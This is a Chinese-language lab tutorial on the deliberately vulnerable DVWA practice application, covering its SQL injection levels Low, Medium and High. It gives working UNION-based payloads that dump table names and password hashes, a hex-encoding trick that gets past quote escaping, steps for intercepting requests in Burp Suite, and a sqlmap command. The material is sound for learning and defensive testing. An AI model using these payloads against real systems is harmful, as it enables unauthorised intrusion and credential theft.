DVWA靶场实战:从零到精通SQL注入攻击与防御原理

DVWA靶场实战:从零到精通SQL注入攻击与防御原理 1. 从零开始理解DVWA的SQL注入关卡如果你刚开始接触网络安全或者正在学习Web渗透测试那么DVWADamn Vulnerable Web Application这个靶场你一定不陌生。它就像是一个专门为安全爱好者搭建的“练功房”里面设计了各种常见的Web漏洞让你在一个安全、合法的环境里练习攻击和防御技巧。今天咱们就来啃一块硬骨头也是Web安全里最经典、最危险的漏洞之一SQL注入。DVWA靶场里关于SQL注入的关卡从Low到Impossible层层递进完美地展示了漏洞从存在到被修复的全过程。这不仅仅是教你“怎么注入”更是让你明白“为什么会被注入”以及“如何防御”。我当年就是通过一遍遍“通关”这些关卡才真正把SQL注入的原理刻在脑子里的。这篇文章我就带你手把手、保姆级地走一遍DVWA SQL注入上的Low、Medium、High三个级别把每一步的原理、操作和背后的思考都掰开揉碎了讲清楚。2. 通关前的准备环境与核心概念扫盲在开始“实战”之前咱们得先把“装备”和“理论”准备好。磨刀不误砍柴工这一步能让你后面的操作事半功倍。2.1 搭建你的专属“练功房”DVWA的安装不算复杂但有几个关键点容易踩坑。最常见的方式是使用集成环境比如XAMPP、PHPStudy或者直接装在Kali Linux里。这里我以最通用的方式给你梳理一下步骤和注意事项。首先你需要一个支持PHP和MySQL的Web服务器环境。如果你是新手强烈推荐使用PHPStudyWindows或XAMPP跨平台。它们的优势在于一键安装把Apache、PHP、MySQL都打包好了省去了大量配置的麻烦。步骤一下载与部署从DVWA的官方GitHub仓库github.com/digininja/DVWA下载最新源码解压到你的Web服务器根目录例如XAMPP是htdocs PHPStudy是WWW。重命名配置文件找到config/config.inc.php.dist这个文件把它复制一份并重命名为config.inc.php。这是DVWA的主配置文件。步骤二数据库配置这是最容易出错的一步。用文本编辑器打开刚才重命名的config.inc.php文件。$_DVWA[ db_server ] 127.0.0.1; // 数据库地址本地就是127.0.0.1或localhost $_DVWA[ db_database ] dvwa; // 数据库名可以不改 $_DVWA[ db_user ] root; // 数据库用户名默认通常是root $_DVWA[ db_password ] pssw0rd; // 数据库密码这里一定要改成你本地MySQL的实际密码 $_DVWA[ db_port ] 3306; // 数据库端口默认3306注意$_DVWA[ db_password ]的默认值是‘pssw0rd’。如果你的MySQL root密码不是这个绝大多数情况都不是登录phpMyAdmin或者命令行查看一下并在这里修改正确。否则你会一直遇到“数据库连接失败”的错误。步骤三初始化与访问在浏览器访问你的DVWA地址比如http://localhost/DVWA/。页面会提示你数据库连接有问题并有一个链接让你点击“Create / Reset Database”。点击它。系统会自动创建dvwa数据库并导入初始数据。成功后使用默认账号admin和密码password登录。登录后在左侧菜单找到DVWA Security将安全级别设置为Low。我们所有的练习都从最低难度开始。实操心得如果遇到页面乱码或者CSS加载不出来的情况大概率是文件权限问题。在Linux/Mac下确保hackable/uploads/和config/目录有写权限 (chmod 777)。在Windows下检查文件夹是否被只读锁定。2.2 SQL注入到底在“注”什么在动手之前我们必须搞清楚敌人是谁。SQL注入简单说就是攻击者通过Web应用输入接口插入恶意的SQL代码欺骗后端数据库执行非预期的命令。想象一个简单的登录场景。后端代码可能是这样的$sql “SELECT * FROM users WHERE username‘“ . $_POST[‘username’] . ”’ AND password‘“ . $_POST[‘password’] . ”’”;如果用户老老实实输入用户名admin和密码123456那么SQL语句就是SELECT * FROM users WHERE username‘admin’ AND password‘123456’这没问题。但如果用户在用户名输入框里输入的是admin‘ --注意最后有个空格那么拼接后的SQL语句就变成了SELECT * FROM users WHERE username‘admin’ -- ’ AND password‘xxx’在SQL中--是单行注释符它会把后面的所有内容都注释掉。于是这个查询就变成了“寻找用户名为admin的用户”完全绕过了密码验证这就是最基础的SQL注入原理通过插入特殊字符如单引号、注释符改变原始SQL语句的逻辑结构。在DVWA的SQL注入关卡中我们的目标就是利用这种原理从一个简单的用户ID查询功能入手一步步“拖出”整个数据库的信息包括表名、列名乃至所有用户的账号密码。3. Low级别毫无防备的“门户大开”将DVWA安全级别调到Low然后进入SQL Injection模块。你会看到一个简单的输入框提示你输入User ID。这就是我们的“战场”。3.1 代码审计漏洞根源一目了然我们先别急着输入看看后端代码到底是怎么写的。点击页面上的View Source按钮。核心代码段如下$id $_REQUEST[ ‘id’ ]; $query “SELECT first_name, last_name FROM users WHERE user_id ‘$id’;”;看到问题了吗程序直接把我们输入的$id未经任何处理拼接进了SQL查询字符串中。变量$id被一对单引号包裹。这就是最典型的字符型注入漏洞。我们的输入会成为SQL语句的一部分。如果我们在$id中输入一个单引号‘那么SQL语句就会变成SELECT first_name, last_name FROM users WHERE user_id ‘’‘;这会导致单引号不匹配语法错误数据库会报错。而这正是我们探测漏洞存在的第一个信号。3.2 手把手漏洞利用五步获取数据库所有信息我们的攻击思路是阶梯式的先确认漏洞存在和类型再摸清查询结果的“形状”字段数找到数据回显的位置然后一步步获取数据库名、表名、列名最后把数据全部“拖”出来。第一步探测与确认注入点在输入框输入一个单引号‘提交后页面返回了一个数据库错误信息。这明确告诉我们后端没有过滤单引号我们的输入影响了SQL语法注入点存在并且因为原始SQL语句中$id被单引号包裹所以这是一个字符型注入。我们需要用单引号来“闭合”原有的引号。第二步判断查询字段数我们需要知道这个SELECT语句查询了多少个字段以便后续使用UNION操作符来拼接我们自己的查询。这里使用ORDER BY子句。输入1‘ order by 1 #1‘闭合原引号。order by 1表示按第一个字段排序。如果该字段存在查询正常。#是MySQL的注释符在URL中有时需要用%23用于注释掉原SQL语句中后面的单引号和分号避免语法错误。提交后页面正常显示ID为1的用户信息。接着尝试1‘ order by 2 #页面也正常。再尝试1‘ order by 3 #页面报错。 这说明原始查询只返回2个字段first_name和last_name。第三步确定回显点知道了字段数是2我们就可以用UNION SELECT来联合查询并确定页面上哪个位置会显示我们注入的查询结果。 输入1‘ union select 1,2 #union select 1,2会生成一行新数据两个字段值分别是1和2。 提交后你可能会发现页面只显示了ID为1的用户信息我们注入的1,2没显示。这是因为UNION默认会去重。我们需要让原查询结果为空这样页面就只会显示我们UNION后面的结果。 输入-1‘ union select 1,2 #或1‘ and 12 union select 1,2 #提交后页面应该会显示数字1和2。这说明这两个位置都是回显点我们可以把想要查询的信息放在这两个位置上。第四步信息收集库、表、列现在我们就可以利用这两个回显点像“爬梯子”一样一步步获取数据库信息。获取当前数据库名把其中一个回显点换成database()函数。 输入-1‘ union select 1,database() #页面会显示当前使用的数据库名通常是dvwa。获取数据库中的所有表名MySQL有一个名为information_schema的系统数据库它存储了所有数据库的元数据。tables表里存放了所有表的信息。 输入-1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #group_concat()函数非常有用它能把查询到的多行结果合并成一个字符串方便我们一次性查看。table_schemadatabase()条件限定了只查询当前数据库dvwa下的表。 提交后页面会显示类似guestbook,users的结果。这说明dvwa数据库里有两张表guestbook留言板和users用户表。我们的目标显然是users表。获取users表的所有列名同样查询information_schema.columns表。 输入-1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name‘users‘ #提交后你会得到一长串字符串user_id,first_name,last_name,user,password,avatar,last_login,failed_login。这8个字段就是users表的全部结构。其中user和password字段是我们的终极目标。第五步拖取核心数据用户名与密码现在我们已经知道了表名和列名可以直接查询数据了。 输入-1‘ union select group_concat(user_id, ‘:‘, first_name, ‘ ‘, last_name), group_concat(password) from users #这个语句做了两件事第一个回显点将user_id、first_name、last_name用冒号和空格连接起来合并所有用户。第二个回显点将所有用户的password字段合并。 提交后你就能看到所有用户的ID、姓名和密码哈希值一串由MD5加密的字符如5f4dcc3b5aa765d61d8327deb882cf99。注意事项在Low级别整个过程畅通无阻就像在自家后院散步。但这在真实环境中几乎不可能遇到。它存在的意义就是让你最纯粹地理解SQL注入的攻击链条。务必理解每一步注入语句的构造逻辑而不是死记硬背Payload。4. Medium级别初现防御但形同虚设将安全级别调到Medium再次进入SQL注入模块。你会发现输入框变成了一个下拉选择菜单只能选择1到5的数字。前端限制了我们的输入但这能防住攻击者吗显然不能。4.1 代码审计转义函数与数字型注入查看View Source代码的关键变化有两处// 1. 获取参数的方式从 $_REQUEST 变成了 $_POST $id $_POST[ ‘id’ ]; // 2. 对输入进行了转义处理 $id mysqli_real_escape_string($GLOBALS[“___mysqli_ston”], $id); // 3. SQL语句中的变量 $id 没有被单引号包裹 $query “SELECT first_name, last_name FROM users WHERE user_id $id;”;防御措施分析mysqli_real_escape_string()函数这个函数会给特殊字符如单引号‘、双引号“、反斜杠\等加上反斜杠进行转义。例如输入1‘ or 11 #会被转义为1\‘ or 11 #这样单引号就失去了闭合字符串的能力从而防御了字符型注入。SQL语句变化$id外面没有单引号了这意味着这个查询期望$id是一个数字。它变成了数字型查询。漏洞依然存在虽然防住了字符型注入但代码本身是数字型查询而mysqli_real_escape_string()对纯数字输入是无效的。如果我们能绕过前端的下拉菜单直接提交一个数字那么注入依然可行。更重要的是数字型注入不需要闭合单引号构造起来更简单。4.2 绕过前端限制与漏洞利用既然前端是下拉菜单我们就不能直接在浏览器里输入Payload了。需要借助代理工具拦截并修改HTTP请求。最常用的工具是Burp Suite。第一步配置浏览器代理与Burp Suite打开Burp Suite在Proxy-Options中确保代理监听如127.0.0.1:8080是开启的。浏览器设置网络代理指向127.0.0.1:8080。在DVWA页面随便选择一个User ID比如1点击Submit。此时Burp Suite的Proxy-Intercept标签页会拦截到这个HTTP POST请求。点击Intercept is on按钮确保拦截开启。第二步实施数字型注入攻击拦截到的请求体大概长这样id1SubmitSubmit我们将id参数的值修改为我们的注入Payload。因为后端是数字型查询我们直接构造数字型Payload即可无需单引号。判断字段数1 order by 2 #提交后正常order by 3报错确认字段数为2。确定回显点1 union select 1,2 #。同样为了让原查询为空可以改为-1 union select 1,2 #或1 and 12 union select 1,2 #。在Burp里修改id参数为这个值然后点击Forward发送请求。页面会显示1和2。获取数据库名-1 union select 1,database() #获取表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #第三步绕过转义函数获取列名关键技巧当我们想获取users表的列名时按照Low级别的思路Payload应该是-1 union select 1,group_concat(column_name) from information_schema.columns where table_name‘users‘ #但是这里有个问题mysqli_real_escape_string()函数会把我们Payload中的单引号转义掉导致‘users‘变成\‘users\‘SQL语句出错。怎么办技巧十六进制编码绕过我们可以不直接使用字符串‘users‘而是将其转换为十六进制。在MySQL中0x开头的数字会被解释为十六进制字符串。users的十六进制是7573657273。所以Payload 变为-1 union select 1,group_concat(column_name) from information_schema.columns where table_name0x7573657273 #这样我们就完全绕过了对单引号的过滤因为十六进制数字里没有需要转义的特殊字符。实操心得你可以写个简单的Python脚本来转换也可以在Burp Suite的Decoder模块里直接转换。在Decoder里把users粘贴到输入框选择Encode as ASCII hex就能得到7573657273前面加上0x即可使用。这个技巧在过滤了引号但未过滤其他字符的场景下非常实用。第四步拖取数据最后拖取数据的Payload和Low级别类似只是去掉了单引号-1 union select group_concat(user_id, first_name, last_name), group_concat(password) from users #至此Medium级别也被成功突破。它告诉我们单纯依赖前端控制和简单的转义无法从根本上防御SQL注入。5. High级别增加难度但核心漏洞未补将安全级别调到High。这一关的界面发生了变化进入了一个单独的页面URL类似http://localhost/DVWA/vulnerabilities/sqli/session-input.php。你需要先在一个输入框里提交ID然后点击另一个按钮查看结果。这引入了Session机制。5.1 代码审计Session与LIMIT的局限查看View Source核心代码如下if( isset( $_SESSION [ ‘id’ ] ) ) { $id $_SESSION[ ‘id’ ]; $query “SELECT first_name, last_name FROM users WHERE user_id ‘$id’ LIMIT 1;”; }防御措施分析Session存储用户输入的ID先被存入$_SESSION[‘id’]然后从Session中取出用于查询。这意味着注入Payload的提交和查询执行可能不在同一次HTTP请求中增加了利用的复杂度但并未对输入本身做过滤。LIMIT 1在SQL查询末尾加上了LIMIT 1限制只返回一条结果。这旨在防止攻击者一次性通过UNION SELECT拖取大量数据。漏洞依然存在代码依然没有对$id进行任何过滤LIMIT 1可以用注释符#或--轻松注释掉。所以这本质上还是一个字符型注入漏洞只是利用步骤多了一步。5.2 分步注入实战第一步提交Payload到Session在第一个输入框id中输入我们的字符型注入Payload例如1‘ or 11 #。然后点击Submit。这个操作会将1‘ or 11 #存储到服务器的Session中。第二步执行被“污染”的查询点击View database output按钮。此时后端代码从Session中读取$id其值为1‘ or 11 #拼接到SQL语句中SELECT first_name, last_name FROM users WHERE user_id ‘1‘ or 11 #’ LIMIT 1;#注释掉了后面的LIMIT 1而or 11使得条件永真。因此这条语句会返回users表中的第一条记录通常是admin。第三步系统化信息收集虽然每次查询只返回一条结果受LIMIT 1影响即使注释掉原查询结构也可能只预期一条但我们依然可以通过UNION SELECT和条件控制分批获取信息。步骤与Low级别完全一致判断字段数在第一个输入框提交1‘ order by 2 #查看结果。确定回显点提交-1‘ union select 1,2 #。获取数据库名提交-1‘ union select 1,database() #。获取表名提交-1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase() #。注意这里group_concat()依然能一次性获取所有表名因为它是我们UNION SELECT查询的结果这个子查询本身不受外层LIMIT 1的影响。获取列名和数据使用与Low级别相同的Payload即可。High级别的设计更像是增加了“攻击步骤”的难度而非修复了漏洞。它模拟了一种二次交互的场景但核心的字符串拼接问题依然存在。6. 常见问题与实战排查技巧在实际操作DVWA或类似靶场时你肯定会遇到各种“奇葩”问题。下面我整理了一份排查清单涵盖了从环境配置到注入语句的常见坑点。问题1DVWA页面打开是空白或只显示代码原因PHP没有正确解析。可能是Web服务器如Apache的PHP模块未启用或者文件后缀不是.php。解决检查PHPStudy/XAMPP是否启动Apache和MySQL服务。确保你访问的是index.php文件。问题2数据库连接失败提示“Access denied for user ‘root‘‘localhost‘”原因config.inc.php中的数据库密码配置错误。解决打开phpMyAdmin通常为http://localhost/phpmyadmin尝试用root和你的密码登录。如果登录失败重置MySQL密码或者修改DVWA配置文件的密码为正确的密码。问题3注入时输入单引号后页面没有报错可能原因安全级别不是Low。Medium和High级别可能不会在前端显示详细的数据库错误。PHP配置关闭了错误显示display_errors Off。在DVWA的php.ini配置中确保它是On。靶场本身对错误信息做了屏蔽。可以尝试使用‘ and ‘1‘‘2这类永假条件看页面是否返回空内容来盲测注入是否存在。问题4使用UNION SELECT时页面不显示我们注入的数据原因UNION前后两个SELECT语句的字段数、数据类型必须兼容。DVWA的查询字段都是字符串所以我们UNION SELECT 1,2是没问题的。但更常见的原因是原查询有结果UNION后去重了。解决确保让原查询结果为空。使用-1‘ union select 1,2 #ID为负或1‘ and 12 union select 1,2 #永假条件。问题5在Medium级别Burp Suite拦截不到请求原因浏览器代理未正确设置或Burp Suite的拦截未开启。解决确保浏览器代理设置为127.0.0.1:8080Burp默认端口。在Burp Suite的Proxy-Intercept标签页确认Intercept is on按钮是红色的激活状态。如果使用HTTPS站点如https://localhost需要在浏览器中安装并信任Burp Suite的CA证书在http://burp可下载。问题6注入语句在URL里提交时#号不起注释作用原因#在URL中是片段标识符不会被发送到服务器。在GET请求的URL中进行注入时需要使用URL编码后的%23。解决在浏览器地址栏或Burp Suite的Raw请求中将#替换为%23。例如1‘ union select 1,2 %23。问题7获取到的密码是哈希值MD5怎么破解说明这是另一个话题密码破解。DVWA中存储的是MD5哈希。你可以将哈希值复制到在线MD5解密网站如cmd5.com尝试破解。如果密码强度低如password对应5f4dcc3b5aa765d61d8327deb882cf99很大概率能秒破。这直观地展示了存储明文密码或弱哈希的风险。高级技巧使用SQLMap进行自动化测试仅供学习手动注入能帮你深刻理解原理但在实战或CTF比赛中效率工具必不可少。SQLMap是一款开源的自动化SQL注入工具。在确认存在注入点后可以快速用它来获取数据。 基本使用命令针对DVWA Low级别sqlmap -u “http://localhost/DVWA/vulnerabilities/sqli/?id1SubmitSubmit“ --cookie“PHPSESSID你的会话ID; securitylow“ --batch-u指定目标URL。--cookie由于DVWA需要登录必须携带你的会话Cookie。从浏览器开发者工具F12的Network标签中复制Cookie请求头的值。--batch以非交互模式运行自动选择默认选项。 SQLMap会自动识别注入类型并可以枚举数据库、表、列和数据。切记仅用于授权的测试环境通过这三个级别的实战你应该已经清晰地看到从毫无防护Low到试图用转义和前端控制来弥补Medium再到增加交互复杂度High如果开发者没有在根本上将代码与数据分离SQL注入的威胁就始终存在。在下一篇下中我们将直面Impossible级别看看真正有效的防御手段是如何实现的并深入总结SQL注入的防御之道。真正的安全从来不是靠隐藏和增加步骤而是靠坚固的架构和良好的编码习惯。